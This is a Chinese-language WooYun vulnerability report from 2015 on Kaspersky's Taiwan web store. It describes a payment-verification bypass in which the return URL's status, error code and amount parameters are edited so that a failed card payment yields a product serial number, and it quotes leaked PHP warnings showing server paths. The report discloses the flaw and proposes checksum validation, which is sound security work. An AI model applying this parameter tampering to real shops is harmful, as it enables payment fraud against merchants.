漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0154726
漏洞标题：卡巴斯基台灣版線上訂購/欺騙付款驗證/成功授權取得產品序號（臺灣地區）
相关厂商：卡巴斯基
漏洞作者： 7元
提交时间：2015-11-21 10:50
修复时间：2016-01-11 15:32
公开时间：2016-01-11 15:32
漏洞类型：命令执行
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-11-21： 细节已通知厂商并且等待厂商处理中
2015-11-24： 厂商已经确认，细节仅向厂商公开
2015-12-04： 细节向核心白帽子及相关领域专家公开
2015-12-14： 细节向普通白帽子公开
2015-12-24： 细节向实习白帽子公开
2016-01-11： 细节向公众公开
简要描述：
欺騙付款，成功取得商品序號
详细说明：
選擇卡巴斯基數位版購買後，隨便使用一張無法使用的信用卡進行交易，系統會顯示交易錯誤訊息。
<script>alert('刷卡失敗，已將錯誤訊息寄發給你');location.href='ContactUs.html';</script>
https://**.**.**.**/pay-roturl.php?
status=XX
errcode=XX
authAmt=商品價格
等資訊
這時只要將資訊改成
status=1
errcode=00
authAmt=0
重新請求之後會出現
<br />
<b>Warning</b>: Invalid argument supplied for foreach() in <b>/home/techtita/public_html/store/_func/Func.php</b> on line <b>1796</b><br />
<br />
<b>Warning</b>: Missing argument 7 for Log_Record(), called in /home/techtita/public_html/store/_func/Func.php on line 1829 and defined in <b>/home/techtita/public_html/store/_func/Func.php</b> on line <b>2888</b><br />
<script>location.href='Complete.php?oNo=201511210002&status=1';</script>
此時可從https://**.**.**.**/Complete.php?oNo=201511210002&status=1看見訂單確認資訊
另外還看到了路徑資訊
目前只有研究金流部分
網址的反射型XSS部分沒多做研究
漏洞证明：
修复方案：
建議不要從狀態碼直接回傳資料
可多設checksum驗證
版权声明：转载请注明来源 7元@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：12
确认时间：2015-11-24 15:15
厂商回复：
此漏洞測試手法恐造成企業實際帳務損失
並不符合HITCON漏洞平台通報原則
僅代為轉告該企業
最新状态：
2016-01-12：廠商反映已修復，HITCON 未進行複測。